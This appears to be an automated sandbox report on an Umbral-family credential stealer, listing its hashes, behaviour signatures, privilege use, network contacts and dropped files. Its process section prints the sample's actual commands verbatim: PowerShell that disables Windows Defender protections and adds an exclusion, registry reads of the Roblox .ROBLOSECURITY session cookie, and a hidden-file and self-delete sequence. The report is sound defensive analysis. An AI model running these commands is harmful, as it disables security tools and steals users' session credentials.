Malware Analysis Report

2024-10-10 10:02

Sample ID 240512-xsw84abf9z
Target STEALERRR3000PRO.exe
SHA256 0350fdb32852f781665e056a04f318e94c746612f7b4e3cd430d808c894aae4c
Tags
umbral execution spyware stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

0350fdb32852f781665e056a04f318e94c746612f7b4e3cd430d808c894aae4c

Threat Level: Known bad

The file STEALERRR3000PRO.exe was found to be: Known bad.

Malicious Activity Summary

umbral execution spyware stealer

Detect Umbral payload

Umbral family

Umbral

Command and Scripting Interpreter: PowerShell

Drops file in Drivers directory

Reads user/profile data of web browsers

Legitimate hosting services abused for malware hosting/C2

Looks up external IP address via web service

Unsigned PE

Suspicious use of WriteProcessMemory

Runs ping.exe

Detects videocard installed

Views/modifies file attributes

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-05-12 19:07

Signatures

Detect Umbral payload

Description Indicator Process Target
N/A N/A N/A N/A

Umbral family

umbral

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-12 19:07

Reported

2024-05-12 19:10

Platform

win11-20240426-en

Max time kernel

147s

Max time network

151s

Command Line

"C:\Users\Admin\AppData\Local\Temp\STEALERRR3000PRO.exe"

Signatures

Detect Umbral payload

Description Indicator Process Target
N/A N/A N/A N/A

Umbral

stealer umbral

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Drops file in Drivers directory

Description Indicator Process Target
File opened for modification C:\Windows\System32\drivers\etc\hosts C:\Users\Admin\AppData\Local\Temp\STEALERRR3000PRO.exe N/A

Reads user/profile data of web browsers

spyware stealer

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A discord.com N/A N/A
N/A discord.com N/A N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Detects videocard installed

Description Indicator Process Target
N/A N/A C:\Windows\System32\Wbem\wmic.exe N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\PING.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\STEALERRR3000PRO.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1748 wrote to memory of 5076 N/A C:\Users\Admin\AppData\Local\Temp\STEALERRR3000PRO.exe C:\Windows\SYSTEM32\attrib.exe
PID 1748 wrote to memory of 5076 N/A C:\Users\Admin\AppData\Local\Temp\STEALERRR3000PRO.exe C:\Windows\SYSTEM32\attrib.exe
PID 1748 wrote to memory of 3132 N/A C:\Users\Admin\AppData\Local\Temp\STEALERRR3000PRO.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1748 wrote to memory of 3132 N/A C:\Users\Admin\AppData\Local\Temp\STEALERRR3000PRO.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1748 wrote to memory of 2712 N/A C:\Users\Admin\AppData\Local\Temp\STEALERRR3000PRO.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1748 wrote to memory of 2712 N/A C:\Users\Admin\AppData\Local\Temp\STEALERRR3000PRO.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1748 wrote to memory of 4716 N/A C:\Users\Admin\AppData\Local\Temp\STEALERRR3000PRO.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1748 wrote to memory of 4716 N/A C:\Users\Admin\AppData\Local\Temp\STEALERRR3000PRO.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1748 wrote to memory of 2936 N/A C:\Users\Admin\AppData\Local\Temp\STEALERRR3000PRO.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1748 wrote to memory of 2936 N/A C:\Users\Admin\AppData\Local\Temp\STEALERRR3000PRO.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1748 wrote to memory of 3884 N/A C:\Users\Admin\AppData\Local\Temp\STEALERRR3000PRO.exe C:\Windows\System32\Wbem\wmic.exe
PID 1748 wrote to memory of 3884 N/A C:\Users\Admin\AppData\Local\Temp\STEALERRR3000PRO.exe C:\Windows\System32\Wbem\wmic.exe
PID 1748 wrote to memory of 3220 N/A C:\Users\Admin\AppData\Local\Temp\STEALERRR3000PRO.exe C:\Windows\System32\Wbem\wmic.exe
PID 1748 wrote to memory of 3220 N/A C:\Users\Admin\AppData\Local\Temp\STEALERRR3000PRO.exe C:\Windows\System32\Wbem\wmic.exe
PID 1748 wrote to memory of 688 N/A C:\Users\Admin\AppData\Local\Temp\STEALERRR3000PRO.exe C:\Windows\System32\Wbem\wmic.exe
PID 1748 wrote to memory of 688 N/A C:\Users\Admin\AppData\Local\Temp\STEALERRR3000PRO.exe C:\Windows\System32\Wbem\wmic.exe
PID 1748 wrote to memory of 3156 N/A C:\Users\Admin\AppData\Local\Temp\STEALERRR3000PRO.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1748 wrote to memory of 3156 N/A C:\Users\Admin\AppData\Local\Temp\STEALERRR3000PRO.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1748 wrote to memory of 3960 N/A C:\Users\Admin\AppData\Local\Temp\STEALERRR3000PRO.exe C:\Windows\System32\Wbem\wmic.exe
PID 1748 wrote to memory of 3960 N/A C:\Users\Admin\AppData\Local\Temp\STEALERRR3000PRO.exe C:\Windows\System32\Wbem\wmic.exe
PID 1748 wrote to memory of 2748 N/A C:\Users\Admin\AppData\Local\Temp\STEALERRR3000PRO.exe C:\Windows\SYSTEM32\cmd.exe
PID 1748 wrote to memory of 2748 N/A C:\Users\Admin\AppData\Local\Temp\STEALERRR3000PRO.exe C:\Windows\SYSTEM32\cmd.exe
PID 2748 wrote to memory of 2424 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\PING.EXE
PID 2748 wrote to memory of 2424 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\PING.EXE

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\attrib.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\STEALERRR3000PRO.exe

"C:\Users\Admin\AppData\Local\Temp\STEALERRR3000PRO.exe"

C:\Windows\SYSTEM32\attrib.exe

"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\STEALERRR3000PRO.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\STEALERRR3000PRO.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\System32\Wbem\wmic.exe

"wmic.exe" os get Caption

C:\Windows\System32\Wbem\wmic.exe

"wmic.exe" computersystem get totalphysicalmemory

C:\Windows\System32\Wbem\wmic.exe

"wmic.exe" csproduct get uuid

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER

C:\Windows\System32\Wbem\wmic.exe

"wmic" path win32_VideoController get name

C:\Windows\SYSTEM32\cmd.exe

"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\STEALERRR3000PRO.exe" && pause

C:\Windows\system32\PING.EXE

ping localhost

Network

Country Destination Domain Proto
US 8.8.8.8:53 gstatic.com udp
FR 142.250.75.227:443 gstatic.com tcp
US 208.95.112.1:80 ip-api.com tcp
US 162.159.135.232:443 discord.com tcp

Files

memory/1748-0-0x00007FFEBB1D3000-0x00007FFEBB1D5000-memory.dmp

memory/1748-1-0x000001E1CF5F0000-0x000001E1CF630000-memory.dmp

memory/1748-2-0x00007FFEBB1D0000-0x00007FFEBBC92000-memory.dmp

memory/3132-3-0x00007FFEBB1D0000-0x00007FFEBBC92000-memory.dmp

memory/3132-13-0x00007FFEBB1D0000-0x00007FFEBBC92000-memory.dmp

memory/3132-12-0x0000027FFD120000-0x0000027FFD142000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xxjord2t.4lc.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3132-14-0x00007FFEBB1D0000-0x00007FFEBBC92000-memory.dmp

memory/3132-15-0x00007FFEBB1D0000-0x00007FFEBBC92000-memory.dmp

memory/3132-16-0x00007FFEBB1D0000-0x00007FFEBBC92000-memory.dmp

memory/3132-19-0x00007FFEBB1D0000-0x00007FFEBBC92000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 627073ee3ca9676911bee35548eff2b8
SHA1 4c4b68c65e2cab9864b51167d710aa29ebdcff2e
SHA256 85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c
SHA512 3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 2e8eb51096d6f6781456fef7df731d97
SHA1 ec2aaf851a618fb43c3d040a13a71997c25bda43
SHA256 96bfd9dd5883329927fe8c08b8956355a1a6ceb30ceeb5d4252b346df32bc864
SHA512 0a73dc9a49f92d9dd556c2ca2e36761890b3538f355ee1f013e7cf648d8c4d065f28046cd4a167db3dea304d1fbcbcea68d11ce6e12a3f20f8b6c018a60422d2

memory/1748-34-0x000001E1E9E50000-0x000001E1E9EA0000-memory.dmp

memory/1748-33-0x000001E1E9DD0000-0x000001E1E9E46000-memory.dmp

memory/1748-35-0x000001E1E9C20000-0x000001E1E9C3E000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 441a842138038e6385e430a90d7ea608
SHA1 7b3712d2cdd37e10ee9b3994131ee5175e920f01
SHA256 47592f3324179912d3bdba336b9e75568c2c5f1a9fb37c1ba9f0db9df822164c
SHA512 9dbddc3216f2a132ae3961b3aeac2c5b8828dcc9292f6c5bf1171c47453aa8687f92658818d771413492c0ea565e9ede17b9c03e427af9dc2ac21a78369a6666

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 f29ff8b1e0f396a194a6782749830b8e
SHA1 2f8999b0eb2a20e591cf9a638c9fa84ddf4a1f69
SHA256 5bfd4968395fefaac3941c08fa11e86dfde1072137d9290aee3888f2a5d92d3f
SHA512 0689d665f2a7c9007c5dc4c14a53d5566d315d05d476bee82d64d02d40e3ffddca2b36419c76a8f7b7979958a62a7a93c939d1ed72fa7a844841ed06741b9e19

memory/1748-69-0x000001E1E9D70000-0x000001E1E9D7A000-memory.dmp

memory/1748-70-0x000001E1E9DA0000-0x000001E1E9DB2000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 e8ad350bb24c7ab38efd0ef0553239c7
SHA1 887c19e4c11de19854458e26a1ed05b67a75bf29
SHA256 5cf85b38cbbf1a064a4f8001a0ec031993d44e46b8e65d713785c84916cb8ffd
SHA512 74fef147e98b8b576712c212174a7793deb619d54c7ac7956e38ed4e09202f0c93ae4ec9e89cd4d0ac79c481d30c5c3fc5a3d042537c74d7bffda1f8453aef6e

memory/1748-87-0x00007FFEBB1D0000-0x00007FFEBBC92000-memory.dmp